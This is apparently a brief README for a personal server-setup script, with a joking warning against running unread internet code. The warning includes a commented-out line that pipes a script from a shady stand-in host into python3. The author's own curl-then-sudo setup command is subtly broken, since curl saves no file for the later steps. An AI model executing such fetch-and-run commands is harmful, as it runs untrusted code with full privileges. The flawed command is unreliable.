Server-Init-Script

This is a script I wrote that I can curl when setting up a new server to install tools I use on most of my machines.

WARNING:

Copying code from the internet without reading it is like eating a mysterious burrito you found on a park bench. Sure, it might work... but there's a 404% chance of regret.

    print("Downloading code from shadyforum.biz/mystery_script.py...")
    # 🚨 DO NOT DO THIS 🚨
    # os.system("curl http://shadyforum.biz/mystery_script.py | python3")

    print("Just kidding! Let's be smarter than that.")
    print("✨ Always read and understand code before you run it!")
    print("Malicious code can delete files, steal data, or worse—")
    print("...make you start using tabs instead of spaces 🫢")

I host this on one of my domains so it is accessible at something akin to https://somewebsite.com/bootstrap.sh When I set up a new server I can run:

curl https://somewebsite.com/bootstrap.sh && sudo chmod +x ./bootstrap.sh && sudo ./bootstrap.sh
